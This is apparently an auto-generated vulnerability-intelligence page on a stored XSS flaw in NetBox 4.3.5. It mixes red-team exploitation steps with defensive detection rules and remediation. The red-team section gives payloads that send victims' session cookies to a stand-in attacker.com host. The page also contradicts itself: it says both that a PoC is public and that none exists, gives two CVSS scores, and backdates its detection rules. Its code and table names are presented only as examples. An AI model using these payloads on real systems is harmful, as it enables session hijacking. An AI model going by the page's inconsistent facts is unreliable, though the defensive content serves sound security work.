☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57543

CVE-2025-57543 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2026-03-16 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 4.3.5
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57543 is a stored Cross-Site Scripting (XSS) vulnerability discovered in NetBox version 4.3.5. The flaw resides in the "comment" field of object forms, allowing an authenticated attacker with sufficient privileges to inject arbitrary HTML or JavaScript. When other users view the affected object, the injected payload executes in their browser context, potentially leading to session hijacking, credential theft, or UI redress attacks. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the realistic score is 5.4 (Medium) with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NetBox is a Python/Django-based application distributed via PyPI and GitHub. This vulnerability affects the core application code, not a third-party package. However, organizations using NetBox should verify their deployment source (official PyPI package vs. custom builds) and ensure no malicious modifications have been introduced. The lack of a patch increases supply chain risk, as users must rely on manual workarounds or custom patches.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid account with permission to add/edit comments.
  • User Interaction (UI): Required (R) – The victim must view the affected object.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability exists in the comment field of NetBox object forms (e.g., device, circuit, or IP address forms). NetBox uses Django templates and Markdown rendering for comments. The flaw occurs because user-supplied HTML is not properly sanitized before being stored and later rendered in the web UI. Specifically, the comment field allows arbitrary HTML tags, including <script>, <img>, <iframe>, and event handlers like onerror or onload.

When a user submits a comment containing malicious HTML, it is stored in the database without sanitization. When another user views the object (e.g., via the detail view), the comment is rendered in the browser, executing the injected payload. This is a classic stored XSS (also known as persistent XSS).

Attack Flow:

  1. Attacker logs into NetBox with a low-privileged account.
  2. Attacker navigates to an object form (e.g., device edit page).
  3. Attacker injects a payload into the comment field, e.g., <script>alert('XSS')</script>.
  4. Attacker saves the object.
  5. Victim (another user) views the object detail page.
  6. The injected script executes in the victim's browser.

Potential Impacts:

  • Session cookie theft (if HttpOnly flag is missing).
  • Redirection to malicious sites.
  • UI redressing (clickjacking) via injected iframes.
  • Defacement of the NetBox interface.
  • Phishing attacks by mimicking login forms.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox 4.3.5): The comment field is rendered using Django's safe filter or Markdown without proper sanitization. Example template snippet:

<div class="comment">
    {{ object.comment|safe }}
</div>

The |safe filter marks the content as safe HTML, bypassing Django's auto-escaping.

Patched Code (Hypothetical Fix): A proper fix would sanitize the comment using a library like bleach or use Django's escape filter. Example:

<div class="comment">
    {{ object.comment|escape }}
</div>

Or with Markdown rendering:

import bleach
from markdown import markdown

def render_comment(comment):
    allowed_tags = ['a', 'code', 'em', 'strong', 'p', 'br']
    html = markdown(comment)
    return bleach.clean(html, tags=allowed_tags, strip=True)

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of NetBox 4.3.5.
  • A valid user account with permission to add/edit comments on objects.

Exploitation Steps:

  1. Log in to NetBox.
  2. Navigate to any object that supports comments (e.g., Devices > Add Device).
  3. In the "Comments" field, inject a payload. Example:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the object.
  5. Wait for a victim to view the object.

Advanced Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Lab Setup:

  • Use Docker to deploy NetBox 4.3.5: docker run -d -p 8000:8000 netboxcommunity/netbox:v4.3.5
  • Create a test user with "Can add device" permission.
  • Use a browser with developer tools to inspect and inject payloads.

Blue Team

Detection:

  • Monitor for unusual comment submissions containing <script>, <iframe>, or event handlers.
  • Use WAF rules to block common XSS patterns in POST requests to /api/ or object forms.
  • Enable Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

  • Search database for comments containing HTML tags:
    SELECT * FROM extras_comment WHERE comment LIKE '%<script%' OR comment LIKE '%onerror%';
    
  • Review web server logs for requests to /api/ with suspicious payloads.

Containment:

  • Temporarily disable the comment feature by removing the field from templates.
  • Apply input sanitization via a reverse proxy (e.g., ModSecurity with OWASP CRS).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from NetBox server.
    • Suspicious POST requests to /api/ endpoints containing HTML tags in the comment field.
  • Host IOCs:
    • Database entries in extras_comment table containing <script>, <iframe>, or onerror attributes.
    • Web server logs showing alert() or fetch() in request bodies.
  • File IOCs:
    • Modified templates (e.g., templates/extras/comment.html) if attacker gained file access.

Detection Engineering

YARA Rule

rule Detect_NetBox_XSS_Comment {
    meta:
        description = "Detects stored XSS payloads in NetBox comment fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57543"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<iframe[^>]*>/is
        $xss4 = /onload\s*=|onclick\s*=|onmouseover\s*=/is
    condition:
        any of them
}

Sigma Rule

title: NetBox Stored XSS in Comment Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in NetBox comment fields
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/api/'
        http.body|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - '<iframe'
    condition: selection
falsepositives:
    - Legitimate use of HTML in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57543 NetBox Stored XSS in Comment Field";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/"; http_uri;
    content:"comment"; http_client_body;
    pcre:"/(<script|<iframe|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-57543;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable Comments: Temporarily remove the comment field from object forms by editing templates or using a reverse proxy to block POST requests containing HTML tags.
  2. Apply Input Sanitization: Use a WAF (e.g., ModSecurity) with OWASP CRS to block XSS patterns.
  3. Enable CSP: Add a Content Security Policy header to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

Long-Term Fix:

  • Upgrade to a patched version once released by NetBox.
  • Implement server-side sanitization using bleach or similar library.
  • Use Django's escape filter instead of safe for user-generated content.

Workaround:

  • Manually patch the template file templates/extras/comment.html to remove the |safe filter.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"NetBox"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57543/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.